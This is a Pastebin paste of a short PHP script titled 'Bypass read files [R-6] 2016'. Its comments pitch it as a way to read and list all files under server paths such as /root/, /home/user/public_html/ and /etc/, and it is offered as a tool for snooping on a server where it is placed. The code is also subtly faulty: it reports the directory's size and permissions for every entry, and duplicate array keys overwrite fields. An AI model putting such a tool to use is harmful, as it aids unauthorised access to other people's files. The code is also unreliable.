Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #// Bypass read files [R-6] 2016
- #// scriptr7.com
- #// twitter.com/scriptr7com
- #// r-6
- #// Read All of files in path Ex: !!! /root/ or /home/user/ or /
- #// Can't read files /etc/passwd !!
- #// BUT !!! Read Files in path
- #// EX:
- #// For the Best just do : /home/ or /home/user/public_html/ to see all files and Dirs
- #//// Change this one to whatever you want
- print_r(dir_list('/etc/'));
- function dir_list($d7){if ($d7[strlen($d7)-1] != '/') $d7 .= '/';if (!is_dir($d7)) return array();$d7_handle = opendir($d7);$d7_o7 = array();while ($o7 = readdir($d7_handle)):if (!in_array($o7, array('.','<br','..')))$ff7 = $d7;$fo7 = array( '<hr><span style="color:#0000FF;">',$ff7.''.$o7,'</span>',':' => filesize($ff7),':' => '<span style="color:red;">',permission($ff7),'</span>',':' => filetype($ff7));$d7_o7[] = $fo7;endwhile;echo '<span style="color:red;"> <h3> what u see in blue its the filename </h3></span>';return $d7_o7;}
- function permission($ff7){$p7 = fileperms($ff7);if (($p7 & 0xC000) == 0xC000):$i7 = 's'; elseif (($p7 & 0xA000) == 0xA000):$i7 = 'l'; elseif (($p7 & 0x8000) == 0x8000):$i7 = '-'; elseif (($p7 & 0x6000) == 0x6000):$i7 = 'b'; elseif (($p7 & 0x4000) == 0x4000):$i7 = 'd'; elseif (($p7 & 0x2000) == 0x2000):$i7 = 'c'; elseif (($p7 & 0x1000) == 0x1000):$i7 = 'p'; else:$i7 = 'u';endif;$i7 .= (($p7 & 0x0100)?'r' : '-');$i7 .= (($p7 & 0x0080) ? 'w' : '-');$i7 .= (($p7 & 0x0040) ? (($p7 & 0x0800) ? 's' : 'x' ) : (($p7 & 0x0800) ? 'S' : '-'));$i7 .= (($p7 & 0x0020) ? 'r' : '-');$i7 .= (($p7 & 0x0010) ? 'w' : '-');$i7 .= (($p7 & 0x0008) ? (($p7 & 0x0400) ? 's' : 'x' ) : (($p7 & 0x0400) ? 'S' : '-'));$i7 .= (($p7 & 0x0004) ? 'r' : '-');$i7 .= (($p7 & 0x0002) ? 'w' : '-');$i7 .= (($p7 & 0x0001) ? (($p7 & 0x0200) ? 't' : 'x' ) : (($p7 & 0x0200) ? 'T' : '-'));return $i7;}
- ?>
Add Comment
Please, Sign In to add comment